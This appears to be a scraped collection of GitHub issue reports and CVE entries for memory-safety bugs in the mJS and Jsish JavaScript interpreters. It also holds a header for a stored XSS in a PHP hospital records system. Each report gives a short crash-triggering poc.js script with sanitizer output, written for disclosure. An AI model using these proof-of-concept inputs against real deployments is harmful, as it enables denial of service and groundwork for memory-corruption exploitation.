Cesanta MJS v2.20.0 was discovered to contain a heap-use-after-free via mjs_apply at src/mjs_exec.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    function T(f) {}
    function JSEtest(b) {
      T.apply.apply(T.apply, []);
    
      if (b < 10)
        JSEtest(T.apply, []);
    }
    JSEtest(0);
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
======ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000000f8 at pc 0x5590f9ee05d6 bp 0x7fff0f0dc5b0 sp 0x7fff0f0dc5a0
READ of size 8 at 0x6040000000f8 thread T0
    #0 0x5590f9ee05d5 in mjs\_apply src/mjs\_exec.c:1156
    #1 0x5590f9ee08d4 in mjs\_apply\_ src/mjs\_exec.c:515
    #2 0x5590f9ed4244 in mjs\_execute src/mjs\_exec.c:853
    #3 0x5590f9edda05 in mjs\_exec\_internal src/mjs\_exec.c:1073
    #4 0x5590f9edda05 in mjs\_exec\_file src/mjs\_exec.c:1096
    #5 0x5590f9e9a909 in main src/mjs\_main.c:47
    #6 0x7f009363db96 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x5590f9e9b449 in \_start (/usr/local/bin/Gmjs+0xe449)

0x6040000000f8 is located 40 bytes inside of 48-byte region \[0x6040000000d0,0x604000000100)
freed by thread T0 here:
    #0 0x7f0093ceff30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x5590f9facdf8 in mbuf\_insert src/common/mbuf.c:90

previously allocated by thread T0 here:
    #0 0x7f0093ceff30 in realloc (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0xdef30)
    #1 0x5590f9facdf8 in mbuf\_insert src/common/mbuf.c:90

SUMMARY: AddressSanitizer: heap-use-after-free src/mjs\_exec.c:1156 in mjs\_apply
Shadow bytes around the buggy address:
  0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c087fff8000: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
\=>0x0c087fff8010: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd\[fd\]
  0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46525: Heap-use-after-free src/mjs_exec.c:1156 in mjs_apply · Issue #199 · cesanta/mjs

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via snquote at src/mjs_json.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3])));
​**Execution steps & Output**

$ ./mjs/build/mjs poc.js
=================================================================
====ERROR: AddressSanitizer: global-buffer-overflow on address 0x5570a88f30e4 at pc 0x5570a8803a88 bp 0x7ffc63d95f40 sp 0x7ffc63d95f30
READ of size 1 at 0x5570a88f30e4 thread T0
    #0 0x5570a8803a87 in snquote src/mjs\_json.c:81
    #1 0x5570a8803a87 in to\_json\_or\_debug src/mjs\_json.c:167
    #2 0x5570a8803a87 in mjs\_json\_stringify src/mjs\_json.c:267
    #3 0x5570a8803a87 in mjs\_op\_json\_stringify src/mjs\_json.c:494

0x5570a88f30e4 is located 0 bytes to the right of global variable '\*.LC1' defined in 'src/mjs\_array.c' (0x5570a88f30e0) of size 4
  '\*.LC1' is ascii string '%lu'
0x5570a88f30e4 is located 60 bytes to the left of global variable '\*.LC9' defined in 'src/mjs\_array.c' (0x5570a88f3120) of size 5
  '\*.LC9' is ascii string 'this'
SUMMARY: AddressSanitizer: global-buffer-overflow src/mjs\_json.c:81 in snquote
Shadow bytes around the buggy address:
  0x0aae951165c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae951165f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=\>0x0aae95116610: 00 00 00 00 00 00 00 00 00 00 00 00\[04\]f9 f9 f9
  0x0aae95116620: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
  0x0aae95116630: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9
  0x0aae95116640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0aae95116660: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 04
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
====ABORTING

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46526: Global-buffer-overflow src/mjs_json.c:81 in snquote · Issue #191 · cesanta/mjs

Jsish v3.5.0 was discovered to contain a stack overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case**

function JSEtest(Function) {
    var a \= Array.prototype.push.call(a, 42, 43);
}
for (var i \= 0; i < 25000; i++) {
    JSEtest(Array);
}

​

**Execution steps & Output**

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
==9209==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd05e20e58 (pc 0x7f6abd3fb1e6 bp 0x7ffd05e216f0 sp 0x7ffd05e20e60 T0)
    #0 0x7f6abd3fb1e5  (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0x5b1e5)
    #1 0x5571122680fd in Jsi\_NameLookup src/jsiUtils.c:413
    #2 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #3 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #4 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #5 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #6 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #7 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #8 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #9 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    ......					......					......
    ......					......					......
    #246 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #247 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #248 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119
    #249 0x5571122683cb in Jsi\_NameLookup src/jsiUtils.c:466
    #250 0x557112211b51 in jsi\_ValueSubscript src/jsiValue.c:1119

SUMMARY: AddressSanitizer: stack-overflow (/usr/lib/x86\_64-linux-gnu/libasan.so.4+0x5b1e5)
==9209==ABORTING

Credits: Found by OWL337 team.

CVE-2021-46505: Stack-overflow in (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5b1e5) · Issue #53 · pcmacdon/jsish

Jsish v3.5.0 was discovered to contain a stack overflow via Jsi_LogMsg at src/jsiUtils.c.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case1**

WebSocket({
  "a": 2.3023e-320
})

**Test case2**

var JSEtest \= times(function () {
    WebSocket({
        'red': (new Object(null % null))
    });
}) < times(log(null % null));
assert.sameValue(JSEtest.length, 2, 'newArr.length');

**Execution steps & Output**

$ ./jsish/jsish poc.js

ASAN:DEADLYSIGNAL
=================================================================
ERROR: AddressSanitizer: stack-overflow on address 0x7ffe51210dfc (pc 0x55d8eb693014 bp 0x0fffca2427b6 sp 0x7ffe51210df0 T0)
    #0 0x55d8eb693013 in Jsi\_LogMsg src/jsiUtils.c:151
    #1 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #2 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #3 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #4 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #5 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #6 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    ......					......					......
    ......					......					......
    #246 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #247 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #248 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
    #249 0x55d8eb655e02 in Jsi\_ValueToString src/jsiValue.c:526
    #250 0x55d8eb693929 in Jsi\_LogMsg src/jsiUtils.c:229
SUMMARY: AddressSanitizer: stack-overflow src/jsiUtils.c:151 in Jsi\_LogMsg
====ABORTING

Credits: Found by OWL337 team.

CVE-2021-46507: Stack-overflow src/jsiUtils.c:151 in Jsi_LogMsg · Issue #54 · pcmacdon/jsish

There is an Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (function() {
      ((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          JSEtest(Object.create.apply({}, [Object]))
        }
        }
      })(6))
    })()
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_core.c:372: mjs\_pop\_val: Assertion \`m-\>len \>\= sizeof(v)' failed.
\[1\]    33895 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46511: Assertion `m->len >= sizeof(v)' failed at src/mjs_core.c:372: mjs_pop_val  · Issue #183 · cesanta/mjs

There is an Assertion `i < parts_cnt' failed at src/mjs_bcode.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_CLANG=clang
$(DOCKER\_CLANG) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))((isNaN - 6.54321e2)(JSON.stringify([1, 2, 3])));
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_bcode.c:121: struct mjs\_bcode\_part \*mjs\_bcode\_part\_get\_by\_offset(struct mjs \*, size\_t): Assertion \`i < parts\_cnt' failed.
\[1\]    88797 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46508: Assertion `i < parts_cnt' failed at src/mjs_bcode.c:121: struct mjs_bcode_part *mjs_bcode_part_get_by_offset(struct mjs *, size_t). · Issue #188 · cesanta/mjs

There is an Assertion `mjs_stack_size(&mjs->scopes) > 0' failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
DOCKER\_CLANG=clang
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (function() {
      ((function JSEtest(a) {
        if (a > 3) {
          if ([((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))([((function JSEtest(a) {
        if (a > 3) {
          if ([Object.create.apply({}, [Object])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))({}, [Object])])]) {
          Object.create.apply({}, [Object])
        }
        }
      })(6))
    })()
**Execution steps & Output**

$ ./mjs/build/mjs poc.js

mjs: src/mjs\_exec.c:725: mjs\_execute: Assertion \`mjs\_stack\_size(&mjs-\>scopes) \> 0' failed.
\[1\]    111718 abort      mjs poc.js

CVE-2021-46517: Assertion `mjs_stack_size(&mjs->scopes) > 0' failed src/mjs_exec.c:725: mjs_execute. · Issue #184 · cesanta/mjs

There is an Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c in Cesanta MJS v2.20.0.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open

hope-fly opened this issue

Dec 31, 2021

· 0 comments

**Comments**

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=88&v=4)

**mJS revision**

Commit: b1b6eac

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

vim Makefile
DOCKER\_GCC=gcc
DOCKER\_CLANG=clang
$(DOCKER\_GCC) $(CFLAGS) $(TOP\_MJS\_SOURCES) $(TOP\_COMMON\_SOURCES) -o $(PROG)
# save the makefile then make
make

**Test case**poc.js

    
    (JSON.stringify([1, 2, 3]))(((JSON.stringify - (6) * 10000) - 20 * 9060)([([JSON.parse(JSON.stringify([(0)]))])]));
**Execution steps & Output**

$ ./mjs/build/mjs poc.js
mjs: src/mjs\_exec.c:949: mjs\_execute: Assertion \`mjs\_stack\_size(&mjs-\>scopes) \>\= scopes\_len' failed.
\[1\]    118000 abort      mjs poc.js

Credits: Found by OWL337 team.

1 participant

![@hope-fly](https://avatars.githubusercontent.com/u/59732293?s=52&v=4)

CVE-2021-46515: Assertion `mjs_stack_size(&mjs->scopes) >= scopes_len' failed at src/mjs_exec.c:949: mjs_execute. · Issue #186 · cesanta/mjs

There is an Assertion 'v->d.lval != v' failed at src/jsiValue.c in Jsish v3.5.0.

**Jsish revision**

Commit: 9fa798e

Version: v3.5.0

**Build platform**

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86\_64)

**Build steps**

export CFLAGS='\-fsanitize=address'
make

**Test case**

function applyTags(text, open, close, action) {
    var openTags \= arguments;
    var lastOcr \= text.indexOf(open), nextOpen, nextClose, iniBlock, updBlock;
    if (openTags.pop()) {
        openTags.push(lastOcr);
    }
    while (openTags.length \> 0) {
        lastOcr \= action;
        nextOpen \= text.indexOf(open, lastOcr + open.length);
        nextClose \= text.indexOf(close, lastOcr + open.length);
    }
    return text;
}
function JSEtest(text) {
    return text.toUpperCase();
}

var text \= '<lowcase> YEAH! </lowcase> Some <upcase> random <upcase> text </upcase> to </up$
text = applyTags(text, '<upcase\>', '</upcase>', JSEtest);

**Execution steps & Output**

$ ./jsish/jsish poc.js

/home/user/poc.js:9: bug: Convert a unknown type: 0x6 to number    (at or near "length")
/home/user/poc.js:10: bug: Convert a unknown type: 0x6 to number    (at or near "length")

jsish: src/jsiValue.c:181: ValueFree: Assertion \`v-\>d.lval !\= v' failed.
\[2\]    116137 abort      jsish poc.js

Credits: Found by OWL337 team.

CVE-2021-46506: Assertion `v->d.lval != v' failed at  src/jsiValue.c:181: ValueFree. · Issue #52 · pcmacdon/jsish

A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodtester Hospital's Patient Records Management System 1.0 via the description parameter in room_list.

CVE-2022-22852 Exploit Title: HPRMS - 'room\_list' Stored XSS Exploit Author: (Sant268) Vendor Homepage: https://www.sourcecodester.com/ Software Link: https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html Version: HPRMS 1.0 Tested on: Ubuntu 20, Apache CVE: CVE-2022-22852

Tag

#ubuntu